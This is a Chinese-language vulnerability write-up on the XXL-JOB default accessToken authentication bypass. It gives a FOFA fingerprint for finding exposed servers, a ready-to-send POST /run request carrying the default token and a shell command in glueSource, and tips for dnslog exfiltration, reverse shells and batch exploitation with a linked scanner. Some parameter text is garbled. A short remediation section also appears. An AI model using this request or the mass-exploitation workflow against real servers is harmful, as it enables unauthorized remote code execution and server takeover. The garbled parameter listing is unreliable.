XXL-JOB默认accessToken 身份绕过
fofa指纹:"invalid request, HttpMethod not support"
1、 描述
XXL-JOB 是一款开源的分布式任务调度平台,用于实现大规模任务的调度和执行。
XXL-JOB 存在默认 accessToken ,攻击者可使用 accessToken 绕过认证权限,调用 executor,执行任意代码,从而获取服务器权限。
2、 漏洞危害
1. 漏洞原理:
○ XXL-JOB的Executor组件默认配置了固定accessToken(如官方示例中的default_token),若管理员未修改此值且未启用严格权限控制,攻击者可伪造请求头携带该Token,直接调用Executor接口。
○ 通过未授权的远程代码执行(RCE)接口,攻击者可注入恶意命令,获取服务器控制权。
2. 影响范围:
○ XXL-JOB <= 2.3.1(具体版本需结合官方修复记录确认)
○ 未修改默认accessToken且未限制Executor接口访问权限的系统。
3、 解决方案
1.修改调度中心和执行器配置中的 xxl.job.accessToken 默认值。
2.如非必要,禁止公网访问执行器端。
4、漏洞利用
将glueSource 参数改为要执行的命令;glueType 参数 GLUE_SHELL是 Linux 系统,GLUE_POWERSHELL是 Windows 系统,根据系统自定义。
POST /run HTTP/1.1
Host:
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate, brAccept: */*
Connection: close
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
Upgrade-Insecure-Requests: 1
Content-Length: 318
{"j{"jobId": 1,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "SERIAL_EXECUTION","executorTimeout": 0,"logId": 1,"logDateTime": 1586373637819,"glueType": "GLUE_SHELL","glueSource": "ping 22.0.71.126","glueUpdatetime": 1586693836766,"broadcastIndex": 0,"broadcastTotal": 0}
"jobId":1, //任务ID
"executorHandler":"demoobHandler", //任务标识
"executorParams":;"demo3obHandler", //任务参数
"executorB1ockstrategy":"cOVER_EARLY", //任务阻塞策略,可选值参考
com.xx1.job.core.enums.ExecutorB1ockstrategyEnum
"executorTimeout":o, //任务超时时间,单位秒,大于零时生效
"logId":1, //本次调度日志ID
"logDateTime ":1586629003729, //本次调度日志时间
"glueType":"BEAN", //任务模式,可选值参考com.xx1.job.core.glue.alueTypeEnum
"gluesource":"xxx", //GLUE脚本代码
"glueupdatetime":1586629003727, /GLUE脚本更新时间,用于判定脚本是否变更以及是否需要刷新
"broadcastIndex" : 0, //分片参数:当前分片
"broadcastTota7":o //分片参数:总分片
访问 url,出现报错 {"code":500,"msg":"invalid request, HttpMethod not support."},抓包,将数据包改为 post 和 poc 一样。
直接使用 POC,若是返回 200,说明存在该漏洞,可将glueSource 参数于 dnslog 配合。进行外带操作。
反弹 shell
工具下载地址:https://github.com/lzhcxy/Xxl-jobScan
这里直接使用我写的简单的脚本,现在 vps 上开启监听。
获取资产,这里我使用的是批量,单个 url 也可,在 vps 上直接弹出 shell。

浙公网安备 33010602011771号